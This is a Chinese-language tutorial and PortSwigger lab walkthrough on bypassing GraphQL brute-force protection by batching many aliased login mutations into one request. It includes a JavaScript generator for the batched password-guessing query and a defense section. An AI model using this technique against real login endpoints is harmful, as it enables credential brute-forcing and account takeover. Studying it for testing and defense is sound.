GraphQL API暴力破解防护绕过技术详解

1. GraphQL别名(Aliases)基础概念

GraphQL别名是绕过API请求限制的关键技术点。在标准GraphQL查询中，不能同时查询多个同名对象：

# 无效查询 - 会报错
query getProductDetails {
  getProduct(id: 1) {
    id
    name
  }
  getProduct(id: 2) {
    id
    name
  }
}

使用别名后，可以合法地查询多个同名对象：

# 有效查询 - 使用别名
query getProductDetails {
  product1: getProduct(id: "1") {
    id
    name
  }
  product2: getProduct(id: "2") {
    id
    name
  }
}

2. 暴力破解防护绕过技术原理

2.1 传统防护机制

许多GraphQL API会实施速率限制，当短时间内收到过多请求时会返回错误。这种机制通常基于：

• 单个IP的请求频率
• 单个会话的请求数量
• 单位时间内的总请求量

2.2 利用别名绕过防护

通过GraphQL别名，可以在单个HTTP请求中嵌入多个操作：

mutation {
  attempt1:login(input:{password: "pass1", username: "carlos"}) {
    token
    success
  }
  attempt2:login(input:{password: "pass2", username: "carlos"}) {
    token
    success
  }
  ...
}

这种方法：

1. 将多个登录尝试合并到一个HTTP请求中
2. 绕过基于请求次数的速率限制
3. 显著提高暴力破解效率

3. 实战演练：Portswigger实验室案例

3.1 实验目标

绕过GraphQL API的暴力破解防护，成功登录用户"carlos"账户。

3.2 实验步骤

1. 识别GraphQL端点

   • 分析网络请求，找到登录功能使用的GraphQL端点
   • 典型登录突变如下：

     mutation {
       login(input:{password: "password", username: "username"}) {
         token
         success
       }
     }
     

2. 构造批量登录尝试

   • 使用JavaScript生成包含多个别名的查询：

     copy(`123456,password,12345678,...,moscow`.split(',').map((element,index)=>`bruteforce$index:login(input:{password: "$password", username: "carlos"}) { token success }`.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));
     

   • 这会生成包含多个登录尝试的单个GraphQL查询

3. 发送并分析响应

   • 查找响应中success: true的条目
   • 对应的密码即为正确密码

4. 成功案例

   • 在实验中，发现以下条目成功：

     bruteforce78:login(input:{password: "summer", username: "carlos"}) {
       token
       success
     }
     

4. 防御措施

4.1 基础防御

1. 实施复杂密码策略

   • 要求足够长度和复杂度
   • 避免常见密码

2. 多因素认证

   • 即使密码被破解，仍有额外保护层

4.2 GraphQL特定防御

1. 深度限制

   • 限制查询的深度和复杂度
   • 防止过度复杂的查询

2. 查询成本分析

   • 为不同类型操作分配成本值
   • 限制单个请求的总成本

3. 别名限制

   • 限制单个查询中允许的别名数量
   • 检测异常多的别名使用

4. 突变速率限制

   • 不仅限制HTTP请求数量，还要限制突变操作数量
   • 即使使用别名，也要计算实际执行的操作数

5. 查询白名单

   • 只允许预定义的查询模式
   • 阻止包含异常数量别名的查询

5. 高级攻击检测

1. 行为分析

   • 监控异常的查询模式
   • 检测短时间内大量相似操作

2. 查询签名

   • 为常见查询建立签名
   • 阻止不符合已知模式的查询

3. 请求解析

   • 深入分析请求内容而非仅看表面
   • 计算实际执行的操作数量

6. 总结

GraphQL的灵活性既是优势也是安全挑战。别名功能虽然提高了API使用效率，但也可能被滥用绕过安全控制。防御需要多层次的方法，结合传统安全措施和GraphQL特定防护，才能有效防止此类攻击。